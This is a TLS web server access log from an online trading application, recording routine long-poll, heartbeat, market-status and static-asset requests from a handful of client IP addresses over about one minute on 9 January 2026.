[09/Jan/2026:14:57:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942115381 HTTP/1.1" -
[09/Jan/2026:14:57:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:57:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:57:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942101896 HTTP/1.1" -
[09/Jan/2026:14:57:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942101372 HTTP/1.1" -
[09/Jan/2026:14:57:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942109681 HTTP/1.1" -
[09/Jan/2026:14:57:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:57:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:57:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:57:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:57:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942120432 HTTP/1.1" -
[09/Jan/2026:14:57:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942106939 HTTP/1.1" -
[09/Jan/2026:14:57:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942106506 HTTP/1.1" -
[09/Jan/2026:14:57:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942114729 HTTP/1.1" -
[09/Jan/2026:14:57:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942125462 HTTP/1.1" -
[09/Jan/2026:14:57:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:57:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:57:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942111989 HTTP/1.1" -
[09/Jan/2026:14:57:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942111626 HTTP/1.1" -
[09/Jan/2026:14:57:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:57:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:57:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:57:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:57:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942120105 HTTP/1.1" -
[09/Jan/2026:14:57:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942130496 HTTP/1.1" -
[09/Jan/2026:14:57:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:57:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:57:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942117026 HTTP/1.1" -
[09/Jan/2026:14:57:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942116671 HTTP/1.1" -
[09/Jan/2026:14:57:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942125131 HTTP/1.1" -
[09/Jan/2026:14:57:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942135523 HTTP/1.1" -
[09/Jan/2026:14:57:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942122047 HTTP/1.1" -
[09/Jan/2026:14:57:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942121725 HTTP/1.1" -
[09/Jan/2026:14:57:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942130198 HTTP/1.1" -
[09/Jan/2026:14:57:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:57:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:57:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942140583 HTTP/1.1" -
[09/Jan/2026:14:57:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942127093 HTTP/1.1" -
[09/Jan/2026:14:57:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942126900 HTTP/1.1" -
[09/Jan/2026:14:57:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942135227 HTTP/1.1" -
[09/Jan/2026:14:57:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942145643 HTTP/1.1" -
[09/Jan/2026:14:57:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:57:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:57:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942132116 HTTP/1.1" -
[09/Jan/2026:14:57:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942132071 HTTP/1.1" -
[09/Jan/2026:14:57:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:57:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:57:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:57:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:57:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942140295 HTTP/1.1" -
[09/Jan/2026:14:57:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942150709 HTTP/1.1" -
[09/Jan/2026:14:57:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942137163 HTTP/1.1" -
[09/Jan/2026:14:57:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942137270 HTTP/1.1" -
[09/Jan/2026:14:57:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942145326 HTTP/1.1" -
[09/Jan/2026:14:57:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942155740 HTTP/1.1" -
[09/Jan/2026:14:57:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:57:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:57:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942142199 HTTP/1.1" -
[09/Jan/2026:14:57:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942142405 HTTP/1.1" -
[09/Jan/2026:14:57:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:57:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:57:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:57:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:57:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942150431 HTTP/1.1" -
[09/Jan/2026:14:57:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:57:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:57:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942160764 HTTP/1.1" -
[09/Jan/2026:14:57:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942147239 HTTP/1.1" -
[09/Jan/2026:14:57:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942147458 HTTP/1.1" -
[09/Jan/2026:14:57:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942155472 HTTP/1.1" -
[09/Jan/2026:14:58:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942165796 HTTP/1.1" -
[09/Jan/2026:14:58:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942152265 HTTP/1.1" -
[09/Jan/2026:14:58:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942152602 HTTP/1.1" -
[09/Jan/2026:14:58:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942160548 HTTP/1.1" -
[09/Jan/2026:14:58:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:58:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942170858 HTTP/1.1" -
[09/Jan/2026:14:58:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942157298 HTTP/1.1" -
[09/Jan/2026:14:58:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942157740 HTTP/1.1" -
[09/Jan/2026:14:58:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942165635 HTTP/1.1" -
[09/Jan/2026:14:58:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942175918 HTTP/1.1" -
[09/Jan/2026:14:58:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:14:58:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
